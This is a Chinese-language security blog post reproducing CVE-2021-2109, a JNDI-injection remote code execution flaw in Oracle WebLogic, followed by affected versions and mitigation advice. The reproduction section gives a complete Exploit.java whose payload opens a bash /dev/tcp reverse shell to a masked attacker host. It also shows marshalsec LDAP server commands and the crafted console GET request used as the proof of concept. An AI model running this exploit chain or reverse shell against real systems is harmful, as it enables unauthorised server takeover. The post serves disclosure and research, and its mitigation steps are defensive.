CVE-2021-2109 Weblogic遠程代碼執行
一、漏洞簡介
Oracle官方發布了漏洞補丁，修了包括 CVE-2021-2109 Weblogic Server遠程代碼執行漏洞在內的多個高危嚴重漏洞。CVE-2021-2109 中，攻擊者可構造惡意請求，造成JNDI注入，執行任意代碼，從而控制服務器。
二、影響版本
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
三、漏洞復現
環境准備：WebLogic 10.3.6.0.0（win）
登陸后台：
http://192.168.1.111:7001/console/login/LoginForm.jsp
啟動Ldap服務：
具體方法參考以前的fastjson方式：
具體地址：https://mp.weixin.qq.com/s/69NCDDSaa07YY7DwyC9fgA
將下面exp保存為Exploit.java文件
import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{ public Exploit() throws Exception { //Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"}); Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/XXXXXX/34567;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { }}
javac Exploit.java 編譯生成Exploit.class文件
python啟動web服務
python -m SimpleHTTPServer 1111
通過python啟動exphttp服務啟動ldap服務(RMI服務)
本次復現使用ldap服務，同時也將RMI對應的操作也做了截圖整理，主要是的原因的RMI的JDk版本支持，LDAPJava的版本本環境的支持（注意JDK的版本，這個是可能成功與否的關鍵）。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://XX.XX.XX.XX:1111/\#Exploit 999
ldap抓包訪問修改數據包
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.1;100:389/exp;AdminServer%22) HTTP/1.1Host: 192.168.1.111:7001User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://192.168.1.111:7001/console/login/LoginForm.jspConnection: closeCookie: ADMINCONSOLESESSION=UXojCN1Oo-FkguAuuU35Z6tZ2-zmMUTskIjOizb35HOEcL6AwZCl!-2080081994; JSESSIONID=sKsgWcOgre9zQdntt3QYv14IleXkZ94jW9vYYt4fEIOdNBaQtBeV!-1871779164Upgrade-Insecure-Requests: 1
POC:
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.1;100:389/exp;AdminServer%22) HTTP/1.1
執行成功效果
具體的演示demo視頻：https://mp.weixin.qq.com/s/nTfnRlAbAa7WjLsCBRx30g
四、安全建議
1、禁用T3協議
如果您不依賴T3協議進行JVM通信，可通過暫時阻斷T3協議緩解此漏洞帶來的影響
1). 進入Weblogic控制台，在base_domain配置頁面中，進入“安全”選項卡頁面，點擊“篩選器”，配置篩選器。
2). 在連接篩選器中輸入：weblogic.security.net.ConnectionFilterImpl，在連接篩選器規則框中輸入：* * 7001 deny t3 t3s。
2、禁止啟用IIOP
登陸Weblogic控制台，找到啟用IIOP選項，取消勾選，重啟生效
3、臨時關閉后台/console/console.portal對外訪問
4、升級官方安全補丁
參考：
https://xz.aliyun.com/t/9049
免責聲明：本站提供安全工具、程序(方法)可能帶有攻擊性，僅供安全研究與教學之用，風險自負!
轉載聲明：著作權歸作者所有。商業轉載請聯系作者獲得授權，非商業轉載請注明出處。
訂閱查看更多復現文章、學習筆記
thelostworld
安全路上，與你並肩前行！！！！
個人知乎：https://www.zhihu.com/people/fu-wei-43-69/columns
個人簡書：https://www.jianshu.com/u/bf0e38a8d400
個人CSDN：https://blog.csdn.net/qq_37602797/category_10169006.html
個人博客園：https://www.cnblogs.com/thelostworld/
FREEBUF主頁：https://www.freebuf.com/author/thelostworld?type=article
歡迎添加本公眾號作者微信交流，添加時備注一下“公眾號”
